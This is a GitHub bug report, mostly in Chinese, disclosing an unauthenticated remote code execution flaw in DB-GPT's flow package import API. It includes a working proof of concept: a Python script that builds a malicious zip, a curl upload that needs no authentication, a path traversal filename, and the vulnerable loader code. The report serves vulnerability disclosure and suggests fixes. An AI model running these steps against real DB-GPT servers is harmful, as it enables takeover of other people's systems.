#3235·DB-GPT

[Bug] [dbgpt-serve] Flow 流程包导入接口未授权远程代码执行(<=0.8.2,RCE)

Author: xld-hubCreated Sep 11, 2026Updated Sep 11, 2026
LabelsbugWaiting for reply

Search before asking

  • I had searched in the issues and found no similar issues.

Operating system information

Linux

Python version information

=3.11

DB-GPT version

latest release

Related scenes

  • Chat Data
  • Chat Excel
  • Chat DB
  • Chat Knowledge
  • Model Management
  • Dashboard
  • Plugins

Installation Information

Device information

Docker 容器,即可复现;漏洞与设备无关

Models information

默认 dbgpt-proxy-siliconflow.toml 配置

What happened

POST /api/v2/serve/awel/flow/import 存在未授权远程代码执行:上传的 zip 流程包内任意 Python 代码会在 Web 服务进程内 执行(官方容器默认 root),默认配置 api_keys = [] 下无需任何认证。 已在官方镜像 eosphorosai/dbgpt:latest(0.8.2,当前最新版)实测复现。

What you expected to happen

预期:上传的流程包应在隔离/低权限环境解析,导入接口默认要求认证。 实际:BasePackage.load_module_class()packages/dbgpt-core/src/dbgpt/util/dbgpts/loader.py:76-106) 将解压出的包目录加入 sys.path 后调用 importlib.resources.path(name, ...), 内部 import_module(<name>) 会加载并执行包内 <name>.py

python
if root not in sys.path:
    sys.path.append(root)          # root = 解压出的 <name> 目录(上传内容)
with importlib.resources.path(name, "__init__.py") as path:   # ← import_module(<name>)

服务端执行证据(traceback 捕获):.../loader.py:95 load_module_class → import_module → exec_module → /tmp/tmpXXXX/<name>/<name>.py line 2

How to reproduce

1. 官方镜像默认配置启动(0.8.2)

docker run -d --name dbgpt -p 5670:5670 -e SILICONFLOW_API_KEY=sk-x
eosphorosai/dbgpt:latest

2. 构造 PoC zip( 三处一致,每次随机)

python - <<'EOF' import io, random, string, zipfile name = "pwn" + "".join(random.choices(string.ascii_lowercase, k=8)) buf = io.BytesIO() with zipfile.ZipFile(buf, "w") as z: z.writestr(f"{name}/dbgpts.toml", f'[flow]\nname = "{name}"\nlabel = "{name}"\nversion = "0.1.0"\n' 'description = "poc"\nauthors = ["a"]\ndefinition_type = "python"\n') z.writestr(f"{name}/{name}.py", 'open("/tmp/PWNED_FLOW_RCE","w").write("rce-confirm")\n') open("poc.zip","wb").write(buf.getvalue()) EOF

3. 触发(无任何认证头)

curl -X POST 'http://127.0.0.1:5670/api/v2/serve/awel/flow/import?save_flow=false'
-F '[email protected];type=application/zip'

→ 400 {"success":false,"err_msg":"'pwnxxxxxxxx' is not a package"}(载荷已执行)

4. 验证

docker exec dbgpt cat /tmp/PWNED_FLOW_RCE # → rce-confirm

Additional context

同接口次级问题:保存上传文件时 os.path.join(temp_dir, filename) 未消毒 (packages/dbgpt-serve/src/dbgpt_serve/flow/service/share_utils.py:107-116), multipart 文件名可路径穿越任意写(实测 filename="../../../../../tmp/evil.zip" 在解析失败前已写到临时目录之外)。

修复建议:

  1. 禁止在 Web 进程内对上传内容做 sys.path.append() + import_module(); 解析移入独立低权限进程,或仅接受 definition_type="json"
  2. 导入接口默认强制认证;
  3. multipart 文件名 basename() 并校验落点 relative_to(temp_dir)

Are you willing to submit PR?

  • Yes I am willing to submit a PR!